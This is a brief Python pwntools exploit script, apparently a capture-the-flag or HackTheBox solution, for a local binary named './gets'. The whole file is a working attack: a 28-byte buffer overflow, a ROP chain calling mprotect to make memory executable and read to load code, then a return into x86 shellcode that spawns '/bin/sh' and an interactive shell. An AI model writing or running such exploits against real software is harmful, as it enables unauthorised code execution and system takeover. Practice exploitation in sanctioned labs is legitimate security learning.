#!/usr/bin/env python
# Author : 0xsegf
# https://github.com/arjunshibu
# https://www.hackthebox.eu/home/users/profile/201892
from pwn import *
p = process('./gets')
addr = 0x80e9000       # section to make executable
expl = cyclic(28)
# mprotect(addr, 50, 7)
expl += p32(0x806e260)
expl += p32(0x808fddb) # ret: add esp, 8; pop edi; ret;
expl += p32(addr)
expl += p32(50)
expl += p32(7)
# read(0, addr, 50)
expl += p32(0x806d760)
expl += p32(addr)      # ret2shellcode
expl += p32(0)
expl += p32(addr)
expl += p32(50)
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
p.sendlineafter('NAME!', expl)
p.recv()
p.sendline(shellcode)
p.interactive()